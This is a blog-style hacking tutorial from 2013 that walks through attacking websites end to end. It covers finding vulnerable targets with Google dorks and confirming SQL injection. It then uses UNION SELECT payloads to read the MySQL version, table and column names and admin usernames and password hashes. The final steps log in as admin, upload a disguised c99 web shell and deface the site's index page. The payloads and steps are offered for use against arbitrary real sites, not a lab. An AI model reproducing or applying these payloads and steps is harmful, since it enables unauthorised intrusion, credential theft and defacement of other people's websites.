Sunday, 15 December 2013

SQL INJECTION (From start to Defacement)

Here I am going to tech you how to hack website using sql injection. Follow the steps
First we should find our target website for that you can use this DORKS.
I am mostly using “ inurl:php?id= ”and giving you some dorks here copy any one and paste it in google and search. click here for more dorks.
Check for vulnerability.
well assume that we have one site like this
Now to test if its valuable we need to add (quote)after the end of url.
and that will be’
after that hit Enter and if you got some error or if you found some missing content or missing pictures that means its vulnerable to sql injection.
Find the number of columns.
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error. order by 1/* <-- no error order by 2/* <-- no error order by 3/* <-- no error order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
Check for UNION function With union we can select more data in one sql statement.
so we have union all select 1,2,3/* (we already found that number of columns are 3 in section 2)(
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
Check for MySQL version union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e. union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e. union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
Getting table and column name well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s.
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
we know that table admin exists. now to check column names. union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc. now to check if column password exists union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1. now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : ) union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser. if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be union all select 1,concat(user,0x3a,password),3 from mysql.user/*
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1
the second table is displayed.
for third table we put limit 2,1
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc. To get the column names the method is the same. Here we use column_name and information_schema.columns
the method is same as above so example would be.,column_name,3%20from%20information_schema.columns%20limit%200,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1)
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc. if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email.
now to complete query to put them all together for that we use concat() , i decribe it earlier.
what we get here is user:pass:email from table users.
After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.
Now find the upload option and upload your shell (if you don’t have shell then click here to download)
some sites wont allow you to upload a php file. so rename it as c99.php.gif then upload it.
after that go to (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) find the c99.php.gif and click it now you can see a big control pannel.
now you can do what ever you want to do.
search for the index.html file and replace it with your own deface page. so if any one goes to that site they will see your page.
And you have did !! hope this tutorials helped you a little.
Happy hacking Smile
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